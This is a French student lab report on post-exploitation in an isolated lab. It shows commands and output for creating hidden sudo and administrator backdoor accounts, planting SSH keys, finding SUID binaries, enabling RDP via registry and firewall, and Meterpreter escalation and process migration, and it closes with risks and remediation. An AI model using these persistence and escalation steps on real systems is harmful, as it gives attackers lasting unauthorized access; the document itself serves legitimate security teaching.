COMPTE RENDU DU CHAPITRE 3_TP 3.4 : Post-exploitation : Maintien d'accès et élévation de privilèges

1. Introduction

L'objectif de ce TP est de simuler la phase suivant l'intrusion initiale (compromission). Dans un scénario réel, un attaquant cherche à garantir sa persistance sur le système, même si la faille initiale est corrigée ou si les mots de passe sont modifiés. Ce rapport détaille les méthodes de création de comptes secondaires, l'utilisation de clés SSH, l'activation du bureau à distance (RDP) et les techniques d'élévation de privilèges.

Contexte du laboratoire

Nous partons de la situation suivante, acquise lors des TPs précédents :

- Accès sur Ubuntu (via SSH ou Metasploit) — IP : 192.168.56.10
- Accès sur Windows via une session Meterpreter — IP : 192.168.56.20
- Machine attaquante : Kali Linux — IP : 192.168.56.30

2. Maintien d'accès et élévation sur Linux (Ubuntu)

2.1. Création d'un compte de secours

Une fois l'accès initial obtenu (via SSH ou Metasploit), la première étape consiste à créer un utilisateur local discret pour ne pas dépendre du compte compromis.

```
┌──(laurasimo㉿laura)-[~]
└─$ sudo ssh laurasimo@192.168.56.10
laurasimo@192.168.56.10's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-42-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


652 updates can be installed immediately.
462 of these updates are security updates.
To see these additional updates run: apt list --upgradable

New release '22.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2025.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

- **Action :** Création de l'utilisateur backupadmin.
- **Commandes :**

Une fois connecté à la machine Ubuntu (via SSH ou shell obtenu précédemment), on vérifie d'abord avec quel compte on est connecté : ***whoami***

Ensuite pour maintenir un accès même si le compte initial est désactivé ou son mot de passe changé, on crée un nouvel utilisateur discret avec des privilèges élevés ***: sudo adduser backupadmin***

```
laurasimo@ubuntu:~$ whoami
laurasimo
laurasimo@ubuntu:~$ sudo adduser backupadmin
[sudo] password for laurasimo:
Adding user `backupadmin' ...
Adding new group `backupadmin' (1002) ...
Adding new user `backupadmin' (1002) with group `backupadmin' ...
Creating home directory `/home/backupadmin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
Sorry, passwords do not match.
passwd: Authentication token manipulation error
passwd: password unchanged
Try again? [y/N] y
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for backupadmin
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
laurasimo@ubuntu:~$
```

On choisit un mot de passe simple pour le test. Ensuite, on ajoute cet utilisateur au groupe sudo : ***sudo usermod -aG sudo backupadmin***

On vérifie que le compte est bien membre du groupe sudo : ***groups backupadmin***

```
laurasimo@ubuntu:~$ sudo usermod -aG sudo backupadmin
laurasimo@ubuntu:~$ sudo groups backupadmin
backupadmin : backupadmin sudo
laurasimo@ubuntu:~$
```

Implication : L'ajout au groupe sudo confère à cet utilisateur des droits administratifs complets, permettant de reprendre le contrôle total de la machine à tout moment.

2.2. Persistance via clés SSH

L'utilisation de clés SSH est privilégiée car elle est plus discrète que l'authentification par mot de passe et résiste au changement de ce dernier.

- **Action :** Génération d'une paire de clés sur la machine de l'attaquant (Kali) et transfert de la clé publique sur la cible.

- **Commandes :**

ssh-keygen

```
laurasimo@ubuntu:~$ sudo ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:TrH1TjD2Z5+dFaZWffVz+zDcDsUFDaSj7wPtJ9Uhixg root@ubuntu
The key's randomart image is:
+---[RSA 3072]----+
|             .++o|
|             . .*|
|        . = o  =B|
|         E * +++*|
|        S +.=oXo+|
|       o ..=o+.*B|
|        .  oo. o=|
|           .+ .  |
|            .+   |
+----[SHA256]-----+
laurasimo@ubuntu:~$
```

ssh-copy-id backupadmin@192.168.56.10

```
laurasimo@ubuntu:~$ sudo su
root@ubuntu:/home/laurasimo# sudo ssh-copy-id backupadmin@192.168.56.10
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/root/.ssh/id_rsa.pub"
The authenticity of host '192.168.56.10 (192.168.56.10)' can't be established.
ECDSA key fingerprint is SHA256:hIua0UcEhpbq7b1V8Sg4RvCkHJCNIVtF6MRIAWhQshk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
backupadmin@192.168.56.10's password:

Number of key(s) added: 1

Now try logging into the machine, with:   "ssh 'backupadmin@192.168.56.10'"
and check to make sure that only the key(s) you wanted were added.

root@ubuntu:/home/laurasimo#
```

On teste la connexion sans mot de passe : ***ssh backupadmin@192.168.56.10***

```
root@ubuntu:/home/laurasimo# ssh backupadmin@192.168.56.10
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-42-generic x86_64)
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


652 updates can be installed immediately.
462 of these updates are security updates.
To see these additional updates run: apt list --upgradable

New release '22.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2025.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

backupadmin@ubuntu:~$
```

Une connexion sans mot de passe confirme la mise en place de l'accès persistant.

2.3. Analyse et élévation de privilèges

L'attaquant cherche à identifier des failles de configuration pour obtenir des droits "Root".

- **Vérification des droits sudo :** ***sudo -l*** (identifie les commandes exécutables sans mot de passe).
- **Recherche de fichiers SUID :** ***find / -perm -4000 2>/dev/null***

Rôle : Identifie les programmes qui s'exécutent avec les privilèges du propriétaire (souvent root), offrant une opportunité d'escalade de privilèges.

```
backupadmin@ubuntu:~$ find / -perm -4000 2>/dev/null
/snap/core18/1880/bin/mount
/snap/core18/1880/bin/ping
/snap/core18/1880/bin/su
/snap/core18/1880/bin/umount
/snap/core18/1880/usr/bin/chfn
/snap/core18/1880/usr/bin/chsh
/snap/core18/1880/usr/bin/gpasswd
/snap/core18/1880/usr/bin/newgrp
/snap/core18/1880/usr/bin/passwd
/snap/core18/1880/usr/bin/sudo
/snap/core18/1880/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1880/usr/lib/openssh/ssh-keysign
/snap/snapd/8542/usr/lib/snapd/snap-confine
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/umount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/vmware-user-suid-wrapper
/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

3. Maintien d'accès sur Windows

3.1. Élévation de privilèges via Meterpreter

Dans cette partie, étant donné que sur le Tp précédent nous n'avons pas pu accéder a meterpreter de windows, nous expliquerons théoriquement sans capture la méthode a suivre pour maintenir l'accès à un compte windows via Meterpreter. .

- **Action :** Tentative d'élévation automatique.
- **Commandes :**

getuid # Vérifier l'identité actuelle

getsystem # Tenter l'escalade vers SYSTEM

3.2. Création d'un compte administrateur persistant

- **Action :** Création d'un compte "Support" pour masquer l'activité.

- **Commandes (via shell Windows) :**

net user supportadmin Password123! /add

net localgroup administrators supportadmin /add

Cette manipulation permet de créer un accès permanent au système, même si l'accès initial est perdu. Un attaquant peut désormais se connecter directement à Windows avec ce compte.

3.3. Activation de l'accès à distance (RDP)

Pour un contrôle visuel et une administration facilitée, le protocole RDP est activé via la modification du registre et du pare-feu.

- **Modification du registre :** ***reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f***
- **Ouverture du pare-feu :** ***netsh advfirewall firewall set rule group="remote desktop" new enable=Yes***

Implication : L'attaquant peut désormais se connecter via une interface graphique, une méthode très commune pour maintenir un accès discret en entreprise.

4- Commandes Meterpreter avancées

run post/multi/recon/local_exploit_suggester : Analyse automatiquement le système compromis et propose des exploits locaux pour élever les privilèges.

run post/windows/manage/enable_rdp : Module Metasploit dédié à l'activation de RDP — plus fiable que la modification manuelle du registre.

migrate PID : Migre le processus Meterpreter dans un processus légitime (ex. explorer.exe) pour rester discret.

run post/multi/manage/shell_to_meterpreter :Convertit un shell basique en session Meterpreter complète pour plus de fonctionnalités.

5. Analyse des risques en contexte d'entreprise

5.1 Risques liés au maintien d'accès sur Linux

- Un compte backdoor avec droits sudo peut donner accès à l'ensemble des systèmes Linux du réseau ;
- Une clé SSH non détectée peut rester active des mois, voire des années, sans être remarquée

5.2 Risques liés au maintien d'accès sur Windows

- Un compte administrateur local non référencé échappe souvent aux audits de comptes ;
- L'activation de RDP ouvre un vecteur d'accès permanent utilisable sans outil spécialisé ;
- Les privilèges SYSTEM permettent de désactiver les antivirus, modifier le démarrage système ;
- La propagation vers d'autres machines Windows du domaine devient triviale (Pass-theHash).

6. Mesures de sécurité et remédiation

Pour contrer ces attaques de post-exploitation, les mesures suivantes doivent être déployées :

Menace	**Mesure de sécurité proposée**
Création de comptes non autorisés	Mettre en place une surveillance (SIEM) sur les logs d'événements (Event ID 4720 sur Windows) et auditer régulièrement le fichier /etc/passwd sur Linux.
Utilisation abusive de SSH	Restreindre l'accès SSH à des adresses IP spécifiques, désactiver l'accès root à distance et utiliser la double authentification (2FA).
Activation non contrôlée de RDP	Désactiver le service RDP sur les postes de travail par GPO, isoler les serveurs nécessitant le RDP derrière un VPN ou une passerelle d'accès sécurisée.

7. Conclusion

Ce TP démontre que l'intrusion n'est que la première étape d'une attaque complexe. Le véritable danger réside dans la phase de post-exploitation où l'attaquant s'ancre dans le système. La surveillance des modifications de comptes, des configurations réseau (RDP) et des fichiers à privilèges (SUID) doit être la priorité absolue des équipes de défense (Blue Team).